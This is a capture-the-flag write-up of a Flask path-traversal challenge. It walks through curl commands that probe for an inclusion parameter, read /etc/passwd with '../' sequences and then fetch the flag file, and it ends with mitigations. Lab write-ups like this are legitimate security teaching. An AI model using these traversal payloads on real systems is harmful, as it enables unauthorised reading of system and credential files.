Writeup · SAF Pre-Qualifiers 2026

sneaky Includes

webunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge presents a Flask/Werkzeug application themed around a “Quiet Grove”, with a clue pointing to /health. The goal is to discover the hidden inclusion mechanism and read arbitrary files, including the flag.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

The inclusion parameter is page, supplied as a query string. curl -G --data-urlencode is used so traversal sequences are passed cleanly.

Recon

Step 1 — Verify the application is alive

Goal: Confirm the app responds and identify its stack.

curl -i "$TARGET/health"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

OK
Server: Werkzeug/3.1.9 Python/3.10.21

Interpretation: The app is Flask/Werkzeug, making local file/template inclusion a viable lead.

Enumeration

Step 2 — Find the inclusion parameter

Goal: Identify which query parameter controls backend page loading.

for p in include file page path template view; do
    echo "===== $p ====="
    curl -s -i "$TARGET/?$p=/health" | head -20
done

Most parameters returned the normal page, but ?page=/health returned:

<h2>Oops! Something went wrong while loading the page.</h2>

Interpretation: page is processed by the backend — it controls page/file loading.

Step 3 — Test for path traversal

Goal: Confirm page can read files outside the intended directory.

curl -s -G "$TARGET/" \
  --data-urlencode 'page=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The same worked with fewer traversal components (../../../etc/passwd).

Interpretation: page is vulnerable to path traversal / local file inclusion (LFI) — arbitrary file read is confirmed.

Vulnerability Analysis

The flaw class is Path Traversal / Local File Inclusion (CWE-22: Improper Limitation of a Pathname to a Restricted Directory).

Exploitation

Step 4 — Read the flag

Goal: Read likely flag locations via the traversal primitive.

First, page=../flag.txt returned the error page, so the current-directory form was tried:

curl -i -G "$TARGET/" \
  --data-urlencode 'page=./flag.txt'
safctf{REDACTED}

Interpretation: ./flag.txt resolved to the flag file relative to the application’s base directory, completing the solve.

Flag

safctf{REDACTED}

Retrieved via page=./flag.txt through the path-traversal / LFI primitive.

Lessons / Takeaways

  • A parameter that behaves differently for an innocuous value (page=/health errors) is an inclusion candidate — probe it.
  • Path traversal works with both deep (../../../../) and shallow (../) sequences; try multiple depths and relative forms (./file).
  • Confirm arbitrary file read with /etc/passwd before hunting for the flag.

Mitigations

  • Do not interpolate user input into file paths; use an allow-list of permitted pages/files.
  • Canonicalize and validate the resolved path (Path.resolve() + is_relative_to()) so it stays inside the intended directory.
  • Serve static content through a dedicated static-file route rather than dynamic inclusion.

Techniques

References